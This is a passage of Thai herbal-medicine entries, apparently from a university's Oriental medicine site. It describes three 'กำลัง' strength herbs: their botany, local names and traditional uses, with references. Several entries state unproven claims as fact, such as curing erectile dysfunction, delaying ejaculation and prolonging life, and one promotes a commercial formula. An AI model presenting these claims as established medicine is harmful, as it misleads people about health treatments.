ดอก ออกเป็นช่อดอกกลม ออกตามง่ามใบและปลายกิ่ง ดอกเล็ก ฝักรูปขอบขนาน แบน โค้งเล็กน้อย โคนสอบ ปลายแหลม มีเส้นนูนขนานห่างจากขอบฝักทั้ง 2 ด้าน ด้านละ 1 เส้น มีเส้นร่างแหปรากฏชัด ฝักแก่และแห้งจะแตกออกเป็น 2 ซีก เมล็ดแบน รูปรี โค้งเล็กน้อย มีเยื่อนุ่มสีแดง

ประโยชน์ของกำลังช้างสาร

แก้ไข้ แก้ร้อนใน แก้ปวดเมื่อยเส้นเอ็น มักจะเข้าในตำรับยาดองประเภทบำรุงกำลังและบำรุงพลังทางเพศ ฟื้นฟูสมรรถภาพทางเพศชาย อวัยวะเพศไม่แข็งตัว หรือ การแข็งตัวไม่สมบูรณ์ของอวัยวะเพศ เหมาะสาหรับเพศชายที่ไม่แข็งแรง และเป็นสมุนไพรที่มีรสสุขุม

กำลังช้างสาร เป็นสมุนไพรพื้นบ้านของไทย ที่มีสรรพคุณในเรื่องบำรุงกำลัง แก้อาการปวดเมื่อยตามเส้นในสมัยโบราณมักนิยมนำสมุนไพรตัวนี้มาเข้าตำรับทำเป็นยาดองเหล้า เพื่อให้ร่างกายประปรี้กระเปร่าอยู่เสมอ การทานกำลังช้างสารตำรับสมุนไพรคุณสัมฤทธิ์จึงเหมาะอย่างยิ่งแก่ผู้ที่ต้องการทานเพื่อบำรุงร่างกายให้แข็งแรง ไม่อ่อนเพลีย

Categories: ไม่มีหมวดหมู่

กำลังหนุมาน

omdวิทยาลัยการแพทย์แผนตะวันออก มหาวิทยาลัยรังสิต

ชื่อสมุนไพร                                  กำลังหนุมาน

ชื่ออื่นๆ                                          กำลังหนุมาน (ภาคใต้), กำลังขุนมาน (นครศรีธรรมราช), สะลีกี่บูโต๊ะ (มลายู-นราธิวาส)  

ชื่อวิทยาศาสตร์                          Dracaena conferta Ridl.

ชื่อสามัญ                                       -

ชื่อพ้อง                                         -

ชื่อวงศ์                                        AGAVACEAE

ลักษณะทางพฤกษศาสตร์          
kamlunha_3 kamlunha_2 kamlunha_1ต้น:ไม้พุ่มสูง 2.5-3 ม.
ใบ:ใบเดี่ยว ค่อนข้างแข็ง เรียงเวียนรูปใบหอกแคบ ปลายแหลม โคนสอบ เส้นแขนงใบมีจำนวนมาก ขนานตามยาวใบ
ดอก:ช่อดอกแบบช่อแยกแขนง ตั้งตรง ออกตามปลายยอด ดอกหนาแน่นเป็นกลุ่ม กลุ่มละ 3 ดอก สีชมพู ไม่มีก้านดอกหรือก้านดอกสั้น กลีบรวม 6 กลีบ โคนติดกัน พองออก เกสรเพศผู้ 6 อัน ติดอยู่ที่โคนหลอดดอก
ผล:ดอก ผลกลม เมล็ดกลม

สรรพคุณทางยา : -  ทำหลอดเลือด และ เส้นเอ็น ให้เจริญแข็งแรง
                          -  ทำให้กักเก็บปริมาณเลือดที่ไหลเข้าในองคชาติในขณะที่แข็งตัวได้นานขึ้นส่งผลให้
                            ช่วยชะลอในการหลั่งใช้ในการลดอุบัติการล่มปากอ่าว
                          -  แก้น้ำดีพิการ นอนสะดุ้งผวา หลับๆ ตื่นๆ
                          -  ร้อนหน้าน้ำตาไหล บำรุงกำลัง บำรุงกล้ามเนื้อ
                          -  เป็นยาอายุวัฒนะ

ที่มาของข้อมูล : http://paro6.dnp.go.th
                        พืชสมุนไพรโตนงาช้าง
                        http://www.rspg.or.th
                        โครงการอนุรักษ์พันธุกรรมพืชอันเนื่องมาจากพระราชดำริ
                        สมเด็จพระเทพรัตนราชสุดาฯ สยามบรมราชกุมารี

สรรพคุณ      
เนื้อไม้,ราก   รสขมชุ่ม แก้น้ำดีพิการ นอนสะดุ้งผวาหลับๆตื่นๆ  ร้อนหน้า  น้ำตาไหล  บำรุงกำลังให้ทำกล้ามเนื้อและเส้นเอ็นให้เจริญแข็งแรง  เป็นยาอายุวัฒนะ

อ้างอิง
วุฒิ วุฒิธรรมเวช. (2540). สารานุกรมสมุนไพร: น. 119, กรุงเทพฯ:โอเดียนสโตร์.

http://goo.gl/GoUYDy

http://goo.gl/tHNV5K

Categories: ไม่มีหมวดหมู่

กำลังวัวเถลิง

omdวิทยาลัยการแพทย์แผนตะวันออก มหาวิทยาลัยรังสิต

ชื่อสมุนไพร                                  กำลังวัวเถลิง

ชื่ออื่นๆ                                            กำลังทรพี, แหลขี้ควาย, ช้าวัวเถลิง, ปูน, ปูนทา (ใต้), ชะแมบ (ตราด)

ชื่อวิทยาศาสตร์                          Anaxagorea luzonensis A. Gray

ชื่อสามัญ                                       -

ชื่อพ้อง                                         -

ชื่อวงศ์                                        Annonaceae

ลักษณะทางพฤกษศาสตร์           ไม้พุ่มเตี้ย ใบค่อนข้างหนา รูปรีหรือรูปขอบขนาน  ปลายใบแหลมว โคนใบแหลม ดอกออกเดี่ยวหรือเป็นคู่ ตามซอกใบตอนปลายกิ่งหรือตามลำต้นกลีบดอกบาง สีเขียวอมขาว ผลรวมรูปกระบอง มี 3-6 ผล  แห้งแล้วแตก เมล็ดมี 2 เมล็ดในแต่ละฝัก สีดำเป็นมัน

kamlunyo_3 kamlunyo_1 kamlunyo_2สรรพคุณ

kamlunyo_4เนื้อไม้,ราก   รสมันร้อนติดฝาด  บำรุงโลหิต  ทำธาตุให้บริบูรณ์  บำรุงเส้นเอ็น แก้ปวดเมื่อยตามร่างกาย บำรุงกำลัง บำรุงกระดูกให้แข็งแรง  เป็นยาอายุวัฒนะ

เนื้อไม้และเปลือกต้น รสขมเฝื่อน บำรุงโลหิต บำรุงธาตุ บำรุงเส้นเอ็น บำรุงร่างกาย แก้ปวดเมื่อยตามร่างกาย เนื้อไม้กำลังวัวเถลิง เป็นตัวยาช่วย ในยากษัยเส้นหรือยาบรรเทาอาการปวดเมื่อย (ยาสําหรับใช้รับประทาน) ของยาสามัญประจำบ้านแผนโบราณ พ.ศ.2556

อ้างอิง

ตำราแพทย์แผนโบราณทั่วไป สาขาเภสัชกรรม ,กองประกอบโรคศิลปะ,สำนักงานปลัดกระทรวงสาธารณสุข วุฒิ วุฒิธรรมเวช. (2540). สารานุกรมสมุนไพร: น. 119, กรุงเทพฯ:โอเดียนสโตร์. http://goo.gl/xoYMLK ภาพจาก http://www.bloggang.com/viewdiary.php?id=endless9&month=06-2009&date=23&group=11&gblog=10 ภาพประกอบ/เรียบเรียงข้อมูลโดยเว็บไซต์ : http://piromwaroon.blogspot.com/2013/10/blog-post_6.html.ภิรมย์วรุณ ..Piromwaroon

ภาพจากสมุนไพรดอทคอม.

Categories: ไม่มีหมวดหมู่